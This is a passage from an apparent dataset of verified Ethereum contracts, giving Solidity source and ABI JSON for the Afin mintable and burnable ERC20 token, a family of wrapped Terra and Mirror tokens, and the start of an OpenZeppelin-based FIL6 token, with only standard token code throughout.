} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | false | 200 | Default | None | false | ipfs://52aa8287e42ee4937d154df0d53ae38a16171456671e40e7e598e8b3d9046b50 |
|||
Afin | Afin.sol | 0xee9e5eff401ee921b138490d00ca8d1f13f67a72 | Solidity | pragma solidity ^0.4.23;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Afin is MintableToken, BurnableToken {
string public name = "Asian Fintech";
string public symbol = "Afin";
uint public decimals = 8;
uint public INITIAL_SUPPLY = 500000000 * (10 ** decimals);
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | [{"constant":true,"inputs":[],"name":"mintingFinished","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"INITIAL_SUPPLY","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"mint","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"finishMinting","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[],"name":"MintFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"}],"name":"OwnershipRenounced","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.24+commit.e67f0147 | false | 200 | Default | false | bzzr://63f06d1ada183211e87427eedbabbfc462cae0c2f21d7cd5f9e0740a821dd4c8 |
||||
WrappedmVIXY | /Users/yeoyunseog/Workspace/ethereum/shuttle/contracts/contracts/WrappedToken.sol | 0xf72fcd9dcf0190923fadd44811e240ef4533fc86 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract WrappedToken is ERC20, Ownable {
event Burn(address indexed _sender, bytes32 indexed _to, uint256 amount);
constructor(string memory name, string memory symbol)
public
ERC20(name, symbol)
{}
function burn(uint256 amount, bytes32 to) public {
_burn(_msgSender(), amount);
emit Burn(_msgSender(), to, amount);
}
function mint(address account, uint256 amount) public onlyOwner {
_mint(account, amount);
}
}
contract WrappedLuna is WrappedToken {
constructor() public WrappedToken("Wrapped LUNA Token", "LUNA") {}
}
contract WrappedUST is WrappedToken {
constructor() public WrappedToken("Wrapped UST Token", "UST") {}
}
contract WrappedKRT is WrappedToken {
constructor() public WrappedToken("Wrapped KRT Token", "KRT") {}
}
contract WrappedSDT is WrappedToken {
constructor() public WrappedToken("Wrapped SDT Token", "SDT") {}
}
contract WrappedMNT is WrappedToken {
constructor() public WrappedToken("Wrapped MNT Token", "MNT") {}
}
contract WrappedMIR is WrappedToken {
constructor() public WrappedToken("Wrapped MIR Token", "MIR") {}
}
contract WrappedmAAPL is WrappedToken {
constructor() public WrappedToken("Wrapped Mirror AAPL Token", "mAAPL") {}
}
contract WrappedmGOOGL is WrappedToken {
constructor() public WrappedToken("Wrapped Mirror GOOGL Token", "mGOOGL") {}
}
contract WrappedmTSLA is WrappedToken {
constructor() public WrappedToken("Wrapped Mirror TSLA Token", "mTSLA") {}
}
contract WrappedmNFLX is WrappedToken {
constructor() public WrappedToken("Wrapped Mirror NFLX Token", "mNFLX") {}
}
contract WrappedmQQQ is WrappedToken {
constructor() public WrappedToken("Wrapped Mirror QQQ Token", "mQQQ") {}
}
contract WrappedmTWTR is WrappedToken {
constructor() public WrappedToken("Wrapped Mirror TWTR Token", "mTWTR") {}
}
contract WrappedmMSFT is WrappedToken {
constructor() public WrappedToken("Wrapped Mirror MSFT Token", "mMSFT") {}
}
contract WrappedmAMZN is WrappedToken {
constructor() public WrappedToken("Wrapped Mirror AMZN Token", "mAMZN") {}
}
contract WrappedmBABA is WrappedToken {
constructor() public WrappedToken("Wrapped Mirror BABA Token", "mBABA") {}
}
contract WrappedmIAU is WrappedToken {
constructor() public WrappedToken("Wrapped Mirror IAU Token", "mIAU") {}
}
contract WrappedmSLV is WrappedToken {
constructor() public WrappedToken("Wrapped Mirror SLV Token", "mSLV") {}
}
contract WrappedmUSO is WrappedToken {
constructor() public WrappedToken("Wrapped Mirror USO Token", "mUSO") {}
}
contract WrappedmVIXY is WrappedToken {
constructor() public WrappedToken("Wrapped Mirror VIXY Token", "mVIXY") {}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_sender","type":"address"},{"indexed":true,"internalType":"bytes32","name":"_to","type":"bytes32"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes32","name":"to","type":"bytes32"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.2+commit.bacdbe57 | false | 200 | Default | false | |||||
FIL6 | FIL6.sol | 0xb181521414dd44910554018cacf4ec69161e0d53 | Solidity | pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
